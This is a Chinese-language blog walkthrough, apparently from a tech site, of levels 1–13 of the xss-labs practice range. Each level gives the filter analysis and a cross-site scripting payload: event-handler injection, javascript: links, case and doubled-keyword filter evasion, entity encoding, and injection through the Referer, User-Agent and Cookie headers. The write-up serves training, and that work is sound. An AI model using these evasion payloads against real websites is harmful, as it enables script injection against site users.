xsslabs靶场通关(持续更新)


前言

本篇文章将介绍在xsslabs这个靶场中每一个关卡的详细通关策略,若有瑕疵还望客官多多担待。


一、level 1

思路

在本次关卡中首先试一下常见的弹窗函数,因为在第一关基本关卡的设置不会很难。

实现

<image src=1 onerror="alert(1)">//利用了image标签的特性,当插入的图片不存在的时候,就会执行onerror。

在这里插入图片描述

二、levle 2

思路

1.根据上一关卡的思路,当我们输入第一关用的image标签实现绕过的时候发现出现了下图的结果
在这里插入图片描述
2.我们直接看此网页的源码来看这句代码在实现的时候被解析成啥。
在这里插入图片描述

在分析网页源码的时候看到,将输入的代码放入到了value里面,我们就可以采用">闭合标签。

方法一:"><image src=1 οnerrοr="alert(1)">
方法二:"onfocus="alert(1)"//onfocus事件实现绕过,注意成功之后要点击输入框才可以实现弹窗

在这里插入图片描述

三、level 3

思路

1.输入上个关卡的代码发现将<>转换为了html实体在这里插入图片描述2.可以采用onfocus事件进行绕过操作,分析本关的源码可以看到是单引号闭合

实现

'οnfοcus='alert(1)'

在这里插入图片描述

四、level 4

思路

此关和第二关的绕过思路一样,使用onfocus事件来实现绕过,这次是双引号闭合

实现

"οnfοcus="alert(1)"

在这里插入图片描述

五、level 5

思路

1.在利用上个关卡的代码实行绕过的时候查看网页源码发现on被替换成了o_n
在这里插入图片描述2.试一下script标签发现script被替换成了scr_ipt
在这里插入图片描述
3.on和script都用不了,但是通过这几次看网页源码的时候发现并没有过滤<>,可以用<a href="#">在a标签中,最重要的是href属性,这个属性可以实现一个链接到javascript

实现

"><a href="javascript:alert(1)">点击</a>

上述代码实现了一个链接到javascript的命令当点击代码中的点击时就会执行href后面链接的javascript
在这里插入图片描述

六、level 6

思路

利用上一关实现绕过操作的代码执行发现href被替换成了hr_ef,通过代码审计可以看出这个网页并没有实现将大小写的限制,所以可以采用转大写绕过。
在这里插入图片描述

实现

"><a HREF="javascript:alert(1)">点击</a>

在这里插入图片描述

七、level 7

思路

1.继续沿用上一关的代码发现本关新加了将大写转为小写并将href过滤
在这里插入图片描述
2.利用"><script>alert(1)</script>发现script被过滤

在这里插入图片描述
3.利用onfocus事件进行绕过发现on这个关键字被过滤。
在这里插入图片描述
4.本关通过测试可以看到过滤了href,script,on。因为过滤了on,我们可以采用双写绕过。可以构造oonn,这样就可以利用本来过滤on的功能,当过滤中间on时然后两边的字母重新重组为on实现绕过操作

实现

"oonnfocus="alert(1)"

在这里插入图片描述

八、level 8

思路

当我们沿用前面的关卡"><script>alert(1)</script>,"><a href="javascript:alert(1)">,"onfocus="alert(1)"都无法实现绕过操作,我们可以试一下将命令转编码实现绕过操作。我采用转10进制的html实体编码。

实现

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//javascript:alert(1)

在这里插入图片描述

九、level 9

思路

当我们沿用上一关的代码时候发现链接不合法,可以猜测本关实现了一个网址的效验功能。我们可以输入一个正确的网址并利用js中的注释符来注释这个网址,只要让网址效验通过就行
在这里插入图片描述

实现

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.qq.com

在这里插入图片描述

十、level 10

思路

延续前面关卡的思路,我们发现"",<>都被实体化了
在这里插入图片描述
只能查看源码进行分析,通过查看源码看到htmlspecialchars这个函数是将预定义的字符进行实体化。我们发现还有其他的隐藏传递的方法,这里得get传参到str11,并且过滤了<>,所以我们可以用onfocus函数来实现绕过,但input已经被隐藏所以我们需要添加type="text"构造pyload。
在这里插入图片描述

实现

?t_sort="οnfοcus=javascript:alert(1) type="text"

在这里插入图片描述

十一、level 11

思路

和上一关一样直接查看源码,发现在本关str00也被实体化了,但我们发现str11存在一个Referer,http的请求头部字段,这个并没有什么过滤所以可以利用Referer来实现。
在这里插入图片描述

实现

1.可以用Firefox里面的hackbar插件来实现,但有一个缺点有时候hackbar执行不了。‘我的也没执行’
在这里插入图片描述
在可以运行的情况下点击Execute就可以实现xss注入
2.直接使用bp来抓包改包操作(后面基本用bp抓包改包实现)
在这里插入图片描述

Referer: "οnfοcus=javascript:alert(1) type="text"

在这里插入图片描述

十二、level 12

思路

延续上关的思路,继续分析源码,可以看出可以利用http中的Usert-agent字段来实现
在这里插入图片描述

实现

直接用bp来抓取数据包改包,修改User-agent字段最后点击forward将修改的包放过去
在这里插入图片描述

User-agent:"οnfοcus=javascript:alert(1) type="text"

在这里插入图片描述

十三、level 13

思路

继续查看源码,可以看出这一关用的是cookie字段
在这里插入图片描述

实现

还是直接用bp抓包修改cookie字段来实现操作。
在这里插入图片描述

Cookie: user="οnfοcus=javascript:alert(1) type="text"

在这里插入图片描述

  • 46
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值